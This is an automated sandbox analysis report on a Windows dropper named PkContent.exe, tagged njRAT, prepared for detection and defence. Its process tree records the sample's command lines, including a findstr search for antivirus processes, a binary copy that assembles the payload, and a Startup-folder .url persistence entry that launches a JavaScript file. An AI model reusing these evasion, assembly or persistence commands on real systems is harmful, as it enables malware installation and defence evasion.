Edit tour

Windows Analysis Report
PkContent.exe

Overview

General Information

Sample name:	PkContent.exe
Analysis ID:	1577543
MD5:	87c051a77edc0cc77a4d791ef72367d1
SHA1:	5d5bab642235f0af7d9afe3cacec5ae2a4cfc8e5
SHA256:	b63bf28780e02bf0bb1bb59dec135e6263f4c582724c95eee0519b279022f31c
Tags:	18521511316185215113209bulletproofexenjratuser-abus3reports
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

AI detected suspicious sample

Drops PE files with a suspicious file extension

Machine Learning detection for sample

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

PkContent.exe (PID: 6340 cmdline: "C:\Users\user\Desktop\PkContent.exe" MD5: 87C051A77EDC0CC77A4D791EF72367D1)

cmd.exe (PID: 2628 cmdline: "C:\Windows\System32\cmd.exe" /c move Hammer Hammer.bat & Hammer.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5440 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6812 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 1464 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6328 cmdline: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2024 cmdline: cmd /c md 724598 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 5912 cmdline: findstr /V "WowLiberalCalOfficer" Weight MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 1352 cmdline: cmd /c copy /b ..\Explorer + ..\West + ..\Agencies + ..\Situated y MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Thermal.pif (PID: 1648 cmdline: Thermal.pif y MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cmd.exe (PID: 5732 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & echo URL="C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 6960 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

wscript.exe (PID: 1920 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

HermesKey.scr (PID: 2196 cmdline: "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr" "C:\Users\user\AppData\Local\GuardKey Solutions\g" MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cleanup

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" , ProcessId: 1920, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: Thermal.pif y, CommandLine: Thermal.pif y, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Hammer Hammer.bat & Hammer.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2628, ParentProcessName: cmd.exe, ProcessCommandLine: Thermal.pif y, ProcessId: 1648, ProcessName: Thermal.pif

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif, ProcessId: 1648, TargetFilename: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif, ProcessId: 1648, TargetFilename: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" , ProcessId: 1920, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 5732, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Hammer Hammer.bat & Hammer.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2628, ParentProcessName: cmd.exe, ProcessCommandLine: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" , ProcessId: 6328, ProcessName: findstr.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PkContent.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: PkContent.exe

ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.8% probability

Machine Learning detection for sample

Source: PkContent.exe

Joe Sandbox ML: detected

Source: PkContent.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: PkContent.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\PkContent.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\PkContent.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\PkContent.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00184005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00184005
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018494A GetFileAttributesW,FindFirstFileW,FindClose,	12_2_0018494A
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00183CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00183CE2
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	12_2_0018C2FF
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018CD14 FindFirstFileW,FindClose,	12_2_0018CD14
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	12_2_0018CD9F
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_0018F5D8
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_0018F735
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	12_2_0018FA36
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00074005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00074005
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007494A GetFileAttributesW,FindFirstFileW,FindClose,	18_2_0007494A
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	18_2_0007C2FF
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007CD14 FindFirstFileW,FindClose,	18_2_0007CD14
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	18_2_0007CD9F
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_0007F5D8
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_0007F735
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	18_2_0007FA36
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00073CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00073CE2

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\724598\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\724598	Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_001929BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

12_2_001929BA

Source: global traffic

DNS traffic detected: DNS query: ctIHfwPuGQOYqdJrz.ctIHfwPuGQOYqdJrz

Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: PkContent.exe, 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmp, PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: PkContent.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: PkContent.exe, 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmp, PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmp, HermesKey.scr, 00000012.00000000.1496285640.00000000000D9000.00000002.00000001.01000000.0000000A.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: HermesKey.scr.12.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: C:\Users\user\Desktop\PkContent.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00194830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		12_2_00194830
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00084830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		18_2_00084830

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00194632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

12_2_00194632

Source: C:\Users\user\Desktop\PkContent.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001AD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		12_2_001AD164
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0009D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		18_2_0009D164

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00184254: CreateFileW,DeviceIoControl,CloseHandle,

12_2_00184254

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00178F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

12_2_00178F2E

Source: C:\Users\user\Desktop\PkContent.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,	0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00185778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	12_2_00185778
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00075778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	18_2_00075778

Source: C:\Users\user\Desktop\PkContent.exe	File created: C:\Windows\PgJune	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	File created: C:\Windows\ReceptorsTeeth	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	File created: C:\Windows\PorcelainExhaust	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	File created: C:\Windows\MonsterRaymond	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	File created: C:\Windows\FirewireBros	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	File created: C:\Windows\PortugalCharges	Jump to behavior

Source: C:\Users\user\Desktop\PkContent.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\PkContent.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\PkContent.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0012B020	12_2_0012B020
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001294E0	12_2_001294E0
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00129C80	12_2_00129C80
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001423F5	12_2_001423F5
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001A8400	12_2_001A8400
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00156502	12_2_00156502
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0015265E	12_2_0015265E
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0012E6F0	12_2_0012E6F0
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0014282A	12_2_0014282A
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001589BF	12_2_001589BF
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001A0A3A	12_2_001A0A3A
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00156A74	12_2_00156A74
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00130BE0	12_2_00130BE0
